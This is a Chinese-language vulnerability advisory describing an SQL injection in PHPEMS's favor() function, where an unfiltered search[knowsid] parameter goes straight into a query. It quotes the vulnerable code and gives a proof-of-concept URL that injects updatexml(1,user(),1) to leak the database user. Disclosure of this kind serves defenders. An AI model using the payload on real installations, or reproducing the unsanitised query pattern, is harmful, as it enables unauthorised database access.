PHPEMS一处SQL注入漏洞

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### 简要描述: PHPEMS一处SQL注入漏洞 ### 详细说明: 10. Phpems某处存在SQL注入漏洞 存在注入漏洞的代码位于/app/exam/phone.php的favor()函数中在这个函数中 具体位置如下 1029行往下 if($search['knowsid'])$args[] = "quest2knows.qkknowsid IN ({$search['knowsid']})"; if($type) { if($search['questype'])$args[] = "questionrows.qrtype = '{$search['questype']}'"; $favors = $this->favor->getFavorListByUserid($page,20,$args,1); } else { if($search['questype'])$args[] = "questions.questiontype = '{$search['questype']}'"; $favors = $this->favor->getFavorListByUserid($page,20,$args); } 我们看到$search['knowsid']没有经过任何过滤就参与到数据库语句的组合中 再往前追溯 $search = $this->ev->get('search'); 可以看到$search是可以被完全控制的,因而导致了SQL注入的发生 验证过程,注册用户,登录之 访问链接:localhost/ems/index.php?exam-phone-favor&search[knowsid]=1,updatexml(1,user(),1) [<img src="https://images.seebug.org/upload/201503/12185348a6047de36be58724cd3981eb4fad060f.png" alt="3333.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/12185348a6047de36be58724cd3981eb4fad060f.png) OK验证没有问题...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息